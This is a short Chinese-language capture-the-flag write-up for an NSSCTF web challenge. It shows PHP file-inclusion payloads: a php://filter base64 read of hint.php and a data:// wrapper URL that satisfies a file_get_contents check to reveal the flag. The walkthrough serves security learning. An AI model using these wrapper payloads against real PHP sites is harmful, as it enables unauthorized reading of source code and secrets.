题目链接

页面分析

进入页面显示hint is hear Can you find out the hint.php?

当前url为: http://node2.anna.nssctf.cn:28424/index.php?wllm=

php伪协议读取hint.php

根据页面提示尝试

1
?wllm=php://filter/convert.base64-encode/resource=hint.php

解码后得到

1
2
3
<?php
//go to /test2222222222222.php
?>

访问 http://node2.anna.nssctf.cn:28424/test2222222222222.php可以得到

1
2
3
4
5
6
7
8
9
10
 <?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){ # a文件内容为'I want flag'时展示flag
echo "success\n";
echo $flag;
}
?>

data伪协议构造读取

1
/test2222222222222.php?a=data://text/plain;base64,SSB3YW50IGZsYWc=   # base64('I want flag')

即可获取flag

⬆︎TOP